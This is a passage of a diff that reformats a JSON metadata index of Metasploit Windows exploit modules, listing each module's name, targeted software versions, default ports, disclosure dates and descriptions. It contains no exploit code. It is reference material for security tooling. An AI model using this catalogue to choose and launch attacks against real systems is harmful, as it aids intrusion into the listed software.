"autofilter_ports": [], + "autofilter_services": [], "targets": [ "BCAAA Version 5.4.6.1.54128" ], @@ -184923,17 +164452,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bigant_server": { "name": "BigAnt Server 2.2 Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-04-15", "type": "exploit", @@ -184949,12 +164475,8 @@ "platform": "Windows", "arch": "", "rport": 6080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro All English", "Windows XP Pro SP0/SP1 English" @@ -184966,17 +164488,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bigant_server_250": { "name": "BigAnt Server 2.50 SP1 Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server_250", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-04-15", "type": "exploit", @@ -184993,12 +164512,8 @@ "platform": "Windows", "arch": "", "rport": 6660, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt 2.5 Universal", "Windows 2000 Pro All English", @@ -185011,17 +164526,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bigant_server_dupf_upload": { "name": "BigAnt Server DUPF Command Arbitrary File Upload", "fullname": "exploit/windows/misc/bigant_server_dupf_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-09", "type": "exploit", @@ -185039,12 +164551,8 @@ "platform": "Windows", "arch": "", "rport": 6661, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt Server 2.97 SP7" ], @@ -185055,17 +164563,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/misc/bigant_server_sch_dupf_bof": { "name": "BigAnt Server 2 SCH And DUPF Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server_sch_dupf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-09", "type": "exploit", @@ -185083,12 +164588,8 @@ "platform": "Windows", "arch": "", "rport": 6661, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt Server 2.97 SP7 / Windows XP SP3", "BigAnt Server 2.97 SP7 / Windows 2003 SP2" @@ -185100,17 +164601,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bigant_server_usv": { "name": "BigAnt Server 2.52 USV Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server_usv", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-29", "type": "exploit", @@ -185129,12 +164627,8 @@ "platform": "Windows", "arch": "", "rport": 6660, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt 2.52 Universal" ], @@ -185145,17 +164639,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bomberclone_overflow": { "name": "Bomberclone 0.11.6 Buffer Overflow", "fullname": "exploit/windows/misc/bomberclone_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-02-16", "type": "exploit", @@ -185171,12 +164662,8 @@ "platform": "Windows", "arch": "", "rport": 11000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP2 Italian", @@ -185190,17 +164677,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/bopup_comm": { "name": "Bopup Communications Server Buffer Overflow", "fullname": "exploit/windows/misc/bopup_comm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-06-18", "type": "exploit", @@ -185217,12 +164701,8 @@ "platform": "Windows", "arch": "", "rport": 19810, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Bopup Communications Server 3.2.26.5460" ], @@ -185233,17 +164713,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/borland_interbase": { "name": "Borland Interbase Create-Request Buffer Overflow", "fullname": "exploit/windows/misc/borland_interbase", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-07-24", "type": "exploit", @@ -185259,12 +164736,8 @@ "platform": "Windows", "arch": "", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English All / Borland InterBase 2007" ], @@ -185275,17 +164748,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/borland_starteam": { "name": "Borland CaliberRM StarTeam Multicast Service Buffer Overflow", "fullname": "exploit/windows/misc/borland_starteam", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-04-02", "type": "exploit", @@ -185327,17 +164797,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/citrix_streamprocess": { "name": "Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-01-20", "type": "exploit", @@ -185354,12 +164821,8 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista" ], @@ -185370,17 +164833,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/citrix_streamprocess_data_msg": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_data_msg", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185398,12 +164858,8 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], @@ -185414,17 +164870,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/citrix_streamprocess_get_boot_record_request": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020004 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_get_boot_record_request", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185441,12 +164894,8 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], @@ -185457,17 +164906,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/citrix_streamprocess_get_footer": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_get_footer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185484,12 +164930,8 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], @@ -185500,17 +164942,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/citrix_streamprocess_get_objects": { "name": "Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess_get_objects", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-04", "type": "exploit", @@ -185529,12 +164968,8 @@ "platform": "Windows", "arch": "", "rport": 6905, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Citrix Provisioning Services 5.6 SP1" ], @@ -185545,17 +164980,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/cloudme_sync": { "name": "CloudMe Sync v1.10.9", "fullname": "exploit/windows/misc/cloudme_sync", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-01-17", "type": "exploit", @@ -185571,12 +165003,8 @@ "platform": "Windows", "arch": "", "rport": 8888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CloudMe Sync v1.10.9" ], @@ -185587,17 +165015,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/commvault_cmd_exec": { "name": "Commvault Communications Service (cvd) Command Injection", "fullname": "exploit/windows/misc/commvault_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-12-12", "type": "exploit", @@ -185612,12 +165037,8 @@ "platform": "Windows", "arch": "", "rport": 8400, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Commvault Communications Service (cvd) / Microsoft Windows 7 and higher" ], @@ -185628,17 +165049,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/crosschex_device_bof": { "name": "Anviz CrossChex Buffer Overflow", "fullname": "exploit/windows/misc/crosschex_device_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-11-28", "type": "exploit", @@ -185657,12 +165075,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Crosschex Standard x86 <= V4.3.12" ], @@ -185673,17 +165087,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/cve_2022_28381_allmediaserver_bof": { "name": "ALLMediaServer 1.6 SEH Buffer Overflow", "fullname": "exploit/windows/misc/cve_2022_28381_allmediaserver_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-04-01", "type": "exploit", @@ -185698,12 +165109,8 @@ "platform": "Windows", "arch": "x86", "rport": 888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ALLMediaServer 1.6" ], @@ -185731,9 +165138,7 @@ "exploit_windows/misc/delta_electronics_infrasuite_deserialization": { "name": "Delta Electronics InfraSuite Device Master Deserialization", "fullname": "exploit/windows/misc/delta_electronics_infrasuite_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-17", "type": "exploit", @@ -185795,9 +165200,7 @@ "exploit_windows/misc/disk_savvy_adm": { "name": "Disk Savvy Enterprise v10.4.18", "fullname": "exploit/windows/misc/disk_savvy_adm", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-01-31", "type": "exploit", @@ -185805,18 +165208,12 @@ "Daniel Teixeira" ], "description": "This module exploits a stack-based buffer overflow vulnerability\n in Disk Savvy Enterprise v10.4.18, caused by improper bounds\n checking of the request sent to the built-in server. This module\n has been tested successfully on Windows 7 SP1 x86.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": 9124, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Disk Savvy Enterprise v10.4.18" ], @@ -185827,17 +165224,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/doubletake": { "name": "DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow", "fullname": "exploit/windows/misc/doubletake", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-06-04", "type": "exploit", @@ -185852,12 +165246,8 @@ "platform": "Windows", "arch": "", "rport": 1100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "doubletake 4.5.0", "doubletake 4.4.2", @@ -185870,17 +165260,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/eiqnetworks_esa": { "name": "eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow", "fullname": "exploit/windows/misc/eiqnetworks_esa", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-24", "type": "exploit", @@ -185899,12 +165286,8 @@ "platform": "Windows", "arch": "", "rport": 10616, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "EnterpriseSecurityAnalyzerv21 Universal", @@ -185937,17 +165320,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/eiqnetworks_esa_topology": { "name": "eIQNetworks ESA Topology DELETEDEVICE Overflow", "fullname": "exploit/windows/misc/eiqnetworks_esa_topology", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-25", "type": "exploit", @@ -185963,12 +165343,8 @@ "platform": "Windows", "arch": "", "rport": 10628, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP4 English", @@ -185982,17 +165358,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/enterasys_netsight_syslog_bof": { "name": "Enterasys NetSight nssyslogd.exe Buffer Overflow", "fullname": "exploit/windows/misc/enterasys_netsight_syslog_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-19", "type": "exploit", @@ -186011,12 +165384,8 @@ "platform": "Windows", "arch": "", "rport": 514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Enterasys NetSight 4.0.1.34 / Windows XP SP3", "Enterasys NetSight 4.0.1.34 / Windows 2003 SP2" @@ -186028,17 +165397,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/eureka_mail_err": { "name": "Eureka Email 2.2q ERR Remote Buffer Overflow", "fullname": "exploit/windows/misc/eureka_mail_err", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-22", "type": "exploit", @@ -186057,12 +165423,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Win XP SP3 English", "Win XP SP2 English" @@ -186074,17 +165436,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/fb_cnct_group": { "name": "Firebird Relational Database CNCT Group Number Buffer Overflow", "fullname": "exploit/windows/misc/fb_cnct_group", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-31", "type": "exploit", @@ -186099,12 +165458,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows FB 2.5.2.26539", "Windows FB 2.5.1.26351", @@ -186130,9 +165485,7 @@ "exploit_windows/misc/fb_isc_attach_database": { "name": "Firebird Relational Database isc_attach_database() Buffer Overflow", "fullname": "exploit/windows/misc/fb_isc_attach_database", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-10-03", "type": "exploit", @@ -186150,12 +165503,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)", @@ -186168,17 +165517,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/fb_isc_create_database": { "name": "Firebird Relational Database isc_create_database() Buffer Overflow", "fullname": "exploit/windows/misc/fb_isc_create_database", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-10-03", "type": "exploit", @@ -186196,12 +165542,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)", @@ -186214,17 +165556,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/fb_svc_attach": { "name": "Firebird Relational Database SVC_attach() Buffer Overflow", "fullname": "exploit/windows/misc/fb_svc_attach", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-10-03", "type": "exploit", @@ -186242,12 +165581,8 @@ "platform": "Windows", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Brute Force", "Firebird WI-V1.5.3.4870 WI-V1.5.4.4910", @@ -186260,17 +165595,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/gh0st": { "name": "Gh0st Client buffer Overflow", "fullname": "exploit/windows/misc/gh0st", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-07-27", "type": "exploit", @@ -186278,18 +165610,12 @@ "Professor Plum" ], "description": "This module exploits a Memory buffer overflow in the Gh0st client (C2 server)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Gh0st Beta 3.6" ], @@ -186300,17 +165626,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/gimp_script_fu": { "name": "GIMP script-fu Server Buffer Overflow", "fullname": "exploit/windows/misc/gimp_script_fu", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-18", "type": "exploit", @@ -186329,12 +165652,8 @@ "platform": "Windows", "arch": "", "rport": 10008, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "GIMP 2.6.10 (no DEP) / Windows XP SP3 / Windows 7 SP1", "GIMP 2.6.1 (no DEP) / Windows XP SP3 / Windows 7 SP1" @@ -186346,17 +165665,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_cmd_exec": { "name": "HP Data Protector 8.10 Remote Command Execution", "fullname": "exploit/windows/misc/hp_dataprotector_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-02", "type": "exploit", @@ -186375,12 +165691,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 8.10 / Windows" ], @@ -186391,17 +165703,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_crs": { "name": "HP Data Protector Cell Request Service Buffer Overflow", "fullname": "exploit/windows/misc/hp_dataprotector_crs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-03", "type": "exploit", @@ -186419,12 +165728,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "HP Data Protector 6.20 build 370 / Windows XP SP3", @@ -186437,17 +165742,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_dtbclslogin": { "name": "HP Data Protector DtbClsLogin Buffer Overflow", "fullname": "exploit/windows/misc/hp_dataprotector_dtbclslogin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-09-09", "type": "exploit", @@ -186466,12 +165768,8 @@ "platform": "Windows", "arch": "", "rport": 3817, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3" ], @@ -186482,17 +165780,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_encrypted_comms": { "name": "HP Data Protector Encrypted Communication Remote Command Execution", "fullname": "exploit/windows/misc/hp_dataprotector_encrypted_comms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-04-18", "type": "exploit", @@ -186508,12 +165803,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -186524,17 +165815,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_exec_bar": { "name": "HP Data Protector Backup Client Service Remote Code Execution", "fullname": "exploit/windows/misc/hp_dataprotector_exec_bar", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-02", "type": "exploit", @@ -186553,12 +165841,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 6.20 build 370 / VBScript CMDStager", "HP Data Protector 6.20 build 370 / Powershell" @@ -186570,17 +165854,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_install_service": { "name": "HP Data Protector 6.10/6.11/6.20 Install Service", "fullname": "exploit/windows/misc/hp_dataprotector_install_service", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-02", "type": "exploit", @@ -186595,12 +165876,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 6.10/6.11/6.20 / Windows" ], @@ -186611,17 +165888,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_new_folder": { "name": "HP Data Protector Create New Folder Buffer Overflow", "fullname": "exploit/windows/misc/hp_dataprotector_new_folder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-12", "type": "exploit", @@ -186639,12 +165913,8 @@ "platform": "Windows", "arch": "", "rport": 3817, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector Express 6.0.00.11974 / Windows XP SP3", "HP Data Protector Express 5.0.00.59287 / Windows XP SP3" @@ -186656,17 +165926,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_dataprotector_traversal": { "name": "HP Data Protector Backup Client Service Directory Traversal", "fullname": "exploit/windows/misc/hp_dataprotector_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-01-02", "type": "exploit", @@ -186685,12 +165952,8 @@ "platform": "Windows", "arch": "", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 6.20 build 370 / Windows 2003 SP2" ], @@ -186701,17 +165964,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/misc/hp_imc_dbman_restartdb_unauth_rce": { "name": "HPE iMC dbman RestartDB Unauthenticated RCE", "fullname": "exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-15", "type": "exploit", @@ -186731,12 +165991,8 @@ "platform": "Windows", "arch": "", "rport": 2810, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -186747,17 +166003,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_imc_dbman_restoredbase_unauth_rce": { "name": "HPE iMC dbman RestoreDBase Unauthenticated RCE", "fullname": "exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-15", "type": "exploit", @@ -186777,12 +166030,8 @@ "platform": "Windows", "arch": "", "rport": 2810, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -186793,17 +166042,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_imc_uam": { "name": "HP Intelligent Management Center UAM Buffer Overflow", "fullname": "exploit/windows/misc/hp_imc_uam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-29", "type": "exploit", @@ -186823,12 +166069,8 @@ "platform": "Windows", "arch": "", "rport": 1811, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2" ], @@ -186839,17 +166081,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_loadrunner_magentproc": { "name": "HP LoadRunner magentproc.exe Overflow", "fullname": "exploit/windows/misc/hp_loadrunner_magentproc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-27", "type": "exploit", @@ -186866,12 +166105,8 @@ "platform": "Windows", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / HP LoadRunner 11.50" ], @@ -186882,17 +166117,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_loadrunner_magentproc_cmdexec": { "name": "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution", "fullname": "exploit/windows/misc/hp_loadrunner_magentproc_cmdexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-05-06", "type": "exploit", @@ -186910,12 +166142,8 @@ "platform": "Windows", "arch": "", "rport": 54345, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows (Dropper)" ], @@ -186926,17 +166154,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/misc/hp_magentservice": { "name": "HP Diagnostics Server magentservice.exe Overflow", "fullname": "exploit/windows/misc/hp_magentservice", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-01-12", "type": "exploit", @@ -186953,12 +166178,8 @@ "platform": "Windows", "arch": "", "rport": 23472, - "autofilter_ports": [ - - ], - "autofilter_services": [ 